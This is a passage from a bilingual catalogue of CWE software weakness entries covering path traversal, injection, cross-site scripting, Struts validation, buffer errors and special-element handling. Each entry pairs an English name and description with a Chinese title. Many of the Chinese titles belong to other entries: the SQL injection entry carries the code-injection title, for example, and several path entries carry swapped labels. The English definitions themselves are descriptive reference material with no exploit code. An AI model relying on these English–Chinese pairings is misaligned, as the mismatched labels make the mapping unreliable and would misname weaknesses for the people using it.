to a location that is outside of that directory. ### CWEID:CWE-34 Path Traversal: '....//' title_zh:路径遍历:’dir/../../filename’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-37 Path Traversal: '/absolute/pathname/here' title_zh:路径遍历:’…/…//’ The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-35 Path Traversal: '.../...//' title_zh:绝对路径遍历 The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-36 Absolute Path Traversal title_zh:路径遍历:’/absolute/pathname/here’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory. ### CWEID:CWE-38 Path Traversal: '\absolute\pathname\here' title_zh:路径遍历:’….’(多个点号) The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-42 Path Equivalence: 'filename.' (Trailing Dot) title_zh:路径遍历:’C:dirname’ The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-39 Path Traversal: 'C:dirname' title_zh:路径遍历:’absolutepathnamehere’ The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file. ### CWEID:CWE-40 Path Traversal: '\\UNC\share\name\' (Windows UNC Share) title_zh:路径遍历:’….//’ The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file. ### CWEID:CWE-43 Path Equivalence: 'filename....' (Multiple Trailing Dot) title_zh:路径遍历:’\UNCsharename'(WindowsUNC共享) The product accepts path input in the form of multiple trailing dot ('filedir....') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-25 Path Traversal: '/../filedir' title_zh:对路径等价的解析不恰当 The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "/../" sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-44 Path Equivalence: 'file.name' (Internal Dot) title_zh:路径等价:’filename.’(尾部点号) The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-41 Improper Resolution of Path Equivalence title_zh:路径等价:’file…name’(多个内部的点号) The product is vulnerable to file system contents disclosure through path equivalence. Path equivalence involves the use of special characters in file and directory names. The associated manipulations are intended to generate multiple names for the same object. ### CWEID:CWE-46 Path Equivalence: 'filename ' (Trailing Space) title_zh:路径等价:’filename….’(多个尾部的点号) The product accepts path input in the form of trailing space ('filedir ') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-45 Path Equivalence: 'file...name' (Multiple Internal Dot) title_zh:路径等价:’filename'(结尾空格) The product accepts path input in the form of multiple internal dot ('file...dir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-47 Path Equivalence: ' filename' (Leading Space) title_zh:路径等价:’file.name’(内部点号) The product accepts path input in the form of leading space (' filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-48 Path Equivalence: 'file name' (Internal Whitespace) title_zh:路径等价:’filename'(开头空格) The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-49 Path Equivalence: 'filename/' (Trailing Slash) title_zh:路径等价:’filename'(内部空格) The product accepts path input in the form of trailing slash ('filedir/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-50 Path Equivalence: '//multiple/leading/slash' title_zh:路径等价:’filename/'(尾部斜杠) The product accepts path input in the form of multiple leading slash ('//multiple/leading/slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-33 Path Traversal: '....' (Multiple Dot) title_zh:路径等价:’//multiple/leading/slash’ The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory. ### CWEID:CWE-51 Path Equivalence: '/multiple//internal/slash' title_zh:路径等价:’/multiple/trailling/slash//’ The product accepts path input in the form of multiple internal slash ('/multiple//internal/slash/') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-52 Path Equivalence: '/multiple/trailing/slash//' title_zh:路径等价:’/multiple//internal/slash’ The product accepts path input in the form of multiple trailing slash ('/multiple/trailing/slash//') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-53 Path Equivalence: '\multiple\\internal\backslash' title_zh:路径等价:’multiple\internalbackslash’ The product accepts path input in the form of multiple internal backslash ('\multiple\trailing\\slash') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-54 Path Equivalence: 'filedir\' (Trailing Backslash) title_zh:路径等价:’filedir'(结尾的反斜杠) The product accepts path input in the form of trailing backslash ('filedir\') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-55 Path Equivalence: '/./' (Single Dot Directory) title_zh:路径等价:Windows8.3形式文件名 The product accepts path input in the form of single dot directory exploit ('/./') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-56 Path Equivalence: 'filedir*' (Wildcard) title_zh:路径等价:’/./’(单点路径) The product accepts path input in the form of asterisk wildcard ('filedir*') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files. ### CWEID:CWE-57 Path Equivalence: 'fakedir/../realdir/filename' title_zh:路径等价:’filedir*’(通配符) The product contains protection mechanisms to restrict access to 'realdir/filename', but it constructs pathnames using external input in the form of 'fakedir/../realdir/filename' that are not handled by those mechanisms. This allows attackers to perform unauthorized actions against the targeted file. ### CWEID:CWE-58 Path Equivalence: Windows 8.3 Filename title_zh:路径等价:’fakedir/’ The product contains a protection mechanism that restricts access to a long filename on a Windows operating system, but it does not properly restrict access to the equivalent short "8.3" filename. ### CWEID:CWE-65 Windows Hard Link title_zh:在文件访问前对链接解析不恰当(链接跟随) The product, when opening a file or directory, does not sufficiently handle when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. ### CWEID:CWE-59 Improper Link Resolution Before File Access ('Link Following') The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. ### CWEID:CWE-61 UNIX Symbolic Link (Symlink) Following title_zh:UNIX硬链接 The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. ### CWEID:CWE-62 UNIX Hard Link title_zh:Windows硬链接 The product, when opening a file or directory, does not sufficiently account for when the name is associated with a hard link to a target that is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. ### CWEID:CWE-64 Windows Shortcut Following (.LNK) title_zh:Windows快捷方式跟随(.LNK) The product, when opening a file or directory, does not sufficiently handle when the file is a Windows shortcut (.LNK) whose target is outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. ### CWEID:CWE-66 Improper Handling of File Names that Identify Virtual Resources title_zh:Windows设备名处理不恰当 The product does not handle or incorrectly handles a file name that identifies a "virtual" resource that is not directly specified within the directory that is associated with the file name, causing the product to perform file-based operations on a resource that is not a file. ### CWEID:CWE-67 Improper Handling of Windows Device Names title_zh:标识虚拟资源的文件名处理不恰当 The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file. ### CWEID:CWE-71 DEPRECATED: Apple '.DS_Store' This entry has been deprecated as it represents a specific observed example of a UNIX Hard Link weakness type rather than its own individual weakness type. Please refer to :CWE-62:. ### CWEID:CWE-72 Improper Handling of Apple HFS+ Alternate Data Stream Path title_zh:Windows::DATA交换数据流处理不恰当 The product does not properly handle special paths that may identify the data or resource fork of a file on the HFS+ file system. ### CWEID:CWE-69 Improper Handling of Windows ::DATA Alternate Data Stream title_zh:文件名或路径的外部可控制 The product does not properly prevent access to, or detect usage of, alternate data streams (ADS). ### CWEID:CWE-75 Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) title_zh:AppleHFS+交换数据流路径处理不恰当 The product does not adequately filter user-controlled input for special elements with control implications. ### CWEID:CWE-73 External Control of File Name or Path title_zh:输出中的特殊元素转义处理不恰当(注入) The product allows user input to control or influence paths or file names that are used in filesystem operations. ### CWEID:CWE-76 Improper Neutralization of Equivalent Special Elements title_zh:特殊命令到另一不同平面时的净化处理不恰当(特殊命令注入) The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements. ### CWEID:CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) title_zh:等价特殊元素的转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. ### CWEID:CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') title_zh:OS命令中使用的特殊元素转义处理不恰当(OS命令注入) The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. ### CWEID:CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection') title_zh:在命令中使用的特殊元素转义处理不恰当(命令注入) The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. ### CWEID:CWE-81 Improper Neutralization of Script in an Error Message Web Page title_zh:Web页面中脚本相关HTML标签转义处理不恰当(基本跨站脚本) The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page. ### CWEID:CWE-82 Improper Neutralization of Script in Attributes of IMG Tags in a Web Page title_zh:错误消息Web页面中脚本转义处理不恰当 The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute. ### CWEID:CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') title_zh:Web页面IMG标签属性中脚本转义处理不恰当 The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. ### CWEID:CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') title_zh:Web页面属性中脚本转义处理不恰当 The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. ### CWEID:CWE-83 Improper Neutralization of Script in Attributes in a Web Page title_zh:在Web页面生成时对输入的转义处理不恰当(跨站脚本) The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style. ### CWEID:CWE-84 Improper Neutralization of Encoded URI Schemes in a Web Page title_zh:双字符XSS操纵 The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings. ### CWEID:CWE-85 Doubled Character XSS Manipulations title_zh:Web页面编码URIScheme转义处理不恰当 The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters. ### CWEID:CWE-87 Improper Neutralization of Alternate XSS Syntax title_zh:替代XSS语法转义处理不恰当 The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax. ### CWEID:CWE-86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages title_zh:Web页面标识中非法字符转义处理不恰当 The product does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers. ### CWEID:CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') title_zh:参数注入或修改 The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component. ### CWEID:CWE-92 DEPRECATED: Improper Sanitization of Custom Special Characters This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. :CWE-75: is a more appropriate mapping. ### CWEID:CWE-91 XML Injection (aka Blind XPath Injection) title_zh:XML注入(XPath盲注) The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system. ### CWEID:CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') title_zh:SQL命令中使用的特殊元素转义处理不恰当(SQL注入) The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string. ### CWEID:CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection') title_zh:LDAP查询中使用的特殊元素转义处理不恰当(LDAP注入) The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs. ### CWEID:CWE-94 Improper Control of Generation of Code ('Code Injection') title_zh:对CRLF序列的转义处理不恰当(CRLF注入) The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. ### CWEID:CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') title_zh:对生成代码的控制不恰当(代码注入) The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. ### CWEID:CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') title_zh:动态执行代码中指令转义处理不恰当(Eval注入) The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template. ### CWEID:CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page title_zh:Web页面中服务端引用(SSI)转义处理不恰当 The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive. ### CWEID:CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') title_zh:静态存储代码中指令转义处理不恰当(静态代码注入) The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval"). ### CWEID:CWE-102 Struts: Duplicate Validation Forms title_zh:PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) The product uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect. ### CWEID:CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') title_zh:对资源描述符的控制不恰当(资源注入) The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. ### CWEID:CWE-99 Improper Control of Resource Identifiers ('Resource Injection') title_zh:Structs:重复验证表单 The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control. ### CWEID:CWE-103 Struts: Incomplete validate() Method Definition title_zh:Structs:不完整的validate()方法定义 The product has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate(). ### CWEID:CWE-104 Struts: Form Bean Does Not Extend Validation Class title_zh:Structs:表单Bean未扩展验证类 If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation. ### CWEID:CWE-105 Struts: Form Field Without Validator title_zh:Structs:插件框架未在使用 The product has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation. ### CWEID:CWE-108 Struts: Unvalidated Action Form title_zh:Structs:缺少验证的表单域 Every Action Form must have a corresponding validation form. ### CWEID:CWE-106 Struts: Plug-in Framework not in Use title_zh:Structs:未使用的验证表单 When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation. ### CWEID:CWE-107 Struts: Unused Validation Form title_zh:Structs:未经验证的动作表单 An unused validation form indicates that validation logic is not up-to-date. ### CWEID:CWE-110 Struts: Validator Without Form Field title_zh:Structs:验证器关闭 Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date. ### CWEID:CWE-109 Struts: Validator Turned Off title_zh:Structs:无表单域的验证器 Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation. ### CWEID:CWE-111 Direct Use of Unsafe JNI title_zh:XML验证缺失 When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java. ### CWEID:CWE-112 Missing XML Validation title_zh:对不安全JNI的直接使用 The product accepts XML from an untrusted source but does not validate the XML against the proper schema. ### CWEID:CWE-115 Misinterpretation of Input title_zh:HTTP头部中CRLF序列转义处理不恰当(HTTP响应分割) The product misinterprets an input, whether from an attacker or another product, in a security-relevant fashion. ### CWEID:CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') title_zh:输入的错误解释 The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers. ### CWEID:CWE-117 Improper Output Neutralization for Logs title_zh:日志输出的转义处理不恰当 The product does not neutralize or incorrectly neutralizes output that is written to logs. ### CWEID:CWE-114 Process Control title_zh:流程控制 Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker. ### CWEID:CWE-118 Incorrect Access of Indexable Resource ('Range Error') title_zh:对可索引资源的访问不恰当(越界错误) The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files. ### CWEID:CWE-116 Improper Encoding or Escaping of Output title_zh:内存缓冲区边界内操作的限制不恰当 The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. ### CWEID:CWE-123 Write-what-where Condition title_zh:对输出编码和转义不恰当 Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow. ### CWEID:CWE-121 Stack-based Buffer Overflow title_zh:栈缓冲区溢出 A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function). ### CWEID:CWE-122 Heap-based Buffer Overflow title_zh:缓冲区下溢 A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). ### CWEID:CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') title_zh:缓冲区上溢读取 The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow. ### CWEID:CWE-125 Out-of-bounds Read title_zh:堆缓冲区溢出 The product reads data past the end, or before the beginning, of the intended buffer. ### CWEID:CWE-124 Buffer Underwrite ('Buffer Underflow') title_zh:缓冲区下溢读取 The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer. ### CWEID:CWE-126 Buffer Over-read title_zh:未进行输入大小检查的缓冲区拷贝(传统缓冲区溢出) The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer. ### CWEID:CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer title_zh:任意地址可写任意内容条件 The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. ### CWEID:CWE-127 Buffer Under-read title_zh:超界折返处理错误 The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer. ### CWEID:CWE-128 Wrap-around Error title_zh:跨界内存读 Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value. ### CWEID:CWE-132 DEPRECATED: Miscalculated Null Termination title_zh:长度参数不一致性处理不恰当 This entry has been deprecated because it was a duplicate of :CWE-170:. All content has been transferred to :CWE-170:. ### CWEID:CWE-130 Improper Handling of Length Parameter Inconsistency title_zh:对特殊元素的转义处理不恰当 The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data. ### CWEID:CWE-129 Improper Validation of Array Index The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array. ### CWEID:CWE-134 Use of Externally-Controlled Format String title_zh:多字节字符串长度的计算不正确 The product uses a function that accepts a format string as an argument, but the format string originates from an external source. ### CWEID:CWE-138 Improper Neutralization of Special Elements title_zh:参数分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component. ### CWEID:CWE-135 Incorrect Calculation of Multi-Byte String Length title_zh:值分隔符转义处理不恰当 The product does not correctly calculate the length of strings that can contain wide or multi-byte characters. ### CWEID:CWE-131 Incorrect Calculation of Buffer Size title_zh:对数组索引的验证不恰当 The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow. ### CWEID:CWE-142 Improper Neutralization of Value Delimiters title_zh:分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as value delimiters when they are sent to a downstream component. ### CWEID:CWE-140 Improper Neutralization of Delimiters title_zh:记录分隔符转义处理不恰当 The product does not neutralize or incorrectly neutralizes delimiters. ### CWEID:CWE-143 Improper Neutralization of Record Delimiters title_zh:使用外部控制的格式字符串 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as record delimiters when they are sent to a downstream component. ### CWEID:CWE-141 Improper Neutralization of Parameter/Argument Delimiters title_zh:节分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as parameter or argument delimiters when they are sent to a downstream component. ### CWEID:CWE-145 Improper Neutralization of Section Delimiters title_zh:表达式/命令分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component. ### CWEID:CWE-146 Improper Neutralization of Expression/Command Delimiters title_zh:缓冲区大小计算不正确 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component. ### CWEID:CWE-147 Improper Neutralization of Input Terminators title_zh:行分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component. ### CWEID:CWE-144 Improper Neutralization of Line Delimiters title_zh:注释分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component. ### CWEID:CWE-148 Improper Neutralization of Input Leaders title_zh:宏符号转义处理不恰当 The product does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed. ### CWEID:CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences title_zh:引号语法转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component. ### CWEID:CWE-149 Improper Neutralization of Quoting Syntax title_zh:转义、元或控制序列转义处理不恰当 Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions. ### CWEID:CWE-151 Improper Neutralization of Comment Delimiters title_zh:输入起始符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as comment delimiters when they are sent to a downstream component. ### CWEID:CWE-152 Improper Neutralization of Macro Symbols title_zh:输入终结符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component. ### CWEID:CWE-153 Improper Neutralization of Substitution Characters title_zh:双字符或匹配符号转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as substitution characters when they are sent to a downstream component. ### CWEID:CWE-154 Improper Neutralization of Variable Name Delimiters title_zh:替代符号转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as variable name delimiters when they are sent to a downstream component. ### CWEID:CWE-155 Improper Neutralization of Wildcards or Matching Symbols title_zh:变量名分隔符转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component. ### CWEID:CWE-156 Improper Neutralization of Whitespace title_zh:空格转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component. ### CWEID:CWE-157 Failure to Sanitize Paired Delimiters title_zh:空字节或NULL字符转义处理不恰当 The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces. ### CWEID:CWE-161 Improper Neutralization of Multiple Leading Special Elements title_zh:结对分隔符的净化处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component. ### CWEID:CWE-158 Improper Neutralization of Null Byte or NUL Character title_zh:多重起始特殊元素净化处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component. ### CWEID:CWE-159 Improper Handling of Invalid Use of Special Elements title_zh:特殊元素净化处理不恰当 The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity. ### CWEID:CWE-160 Improper Neutralization of Leading Special Elements title_zh:起始特殊元素净化处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component. ### CWEID:CWE-164 Improper Neutralization of Internal Special Elements title_zh:内部特殊元素净化处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component. ### CWEID:CWE-165 Improper Neutralization of Multiple Internal Special Elements title_zh:结尾特殊元素转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component. ### CWEID:CWE-162 Improper Neutralization of Trailing Special Elements title_zh:多重结尾特殊元素转义处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component. ### CWEID:CWE-163 Improper Neutralization of Multiple Trailing Special Elements title_zh:多重内部特殊元素净化处理不恰当 The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple trailing special elements that could be interpreted in unexpected ways when they are sent to a downstream component. ### CWEID:CWE-166 Improper Handling of Missing Special Element title_zh:附加特殊元素净化处理不恰当 The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing. ### CWEID:CWE-168 Improper Handling of Inconsistent Special Elements title_zh:缺失特殊元素净化处理不恰当 The product does not properly handle input in which an inconsistency exists between two or more special characters or reserved words. ### CWEID:CWE-172 Encoding Error title_zh:不一致特殊元素净化处理不恰当 The product does not properly encode or decode the data, resulting in unexpected values. ### CWEID:CWE-167 Improper Handling of Additional Special Element title_zh:编码错误 The product receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided. ### CWEID:CWE-170 Improper Null Termination title_zh:Unicode编码处理不恰当 The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator. ### CWEID:CWE-174 Double Decoding of the Same Data title_zh:不恰当的空终结符 The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations. ### CWEID:CWE-173 Improper Handling of Alternate Encoding title_zh:对同一数据的双重编码 The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent. ### CWEID:CWE-176 Improper Handling of Unicode Encoding title_zh:候选编码方案处理不恰当 The product does not properly handle when an input contains Unicode encoding. ### CWEID:CWE-175 Improper Handling of Mixed Encoding title_zh:URL编码处理不恰当(Hex编码) The product does not properly handle when the same input uses several different (mixed) encodings. ### CWEID:CWE-177 Improper Handling of URL Encoding (Hex Encoding) title_zh:混合编码处理不恰当 The product does not properly handle when all or part of an input has been URL encoded. ### CWEID:CWE-178 Improper Handling of Case Sensitivity title_zh:不正确的行为次序:过早验证 The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results. ### CWEID:CWE-182 Collapse of Data into Unsafe Value title_zh:不正确的行为次序:规范化之前验证 The product filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property. ### CWEID:CWE-179 Incorrect Behavior Order: Early Validation title_zh:大小写敏感处理不恰当 The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification. ### CWEID:CWE-180 Incorrect Behavior Order: Validate Before Canonicalize title_zh:数据的崩溃导致不安全数值 The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step. ### CWEID:CWE-183 Permissive List of Allowed Inputs title_zh:不正确的行为次序:在过滤之前验证 The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed 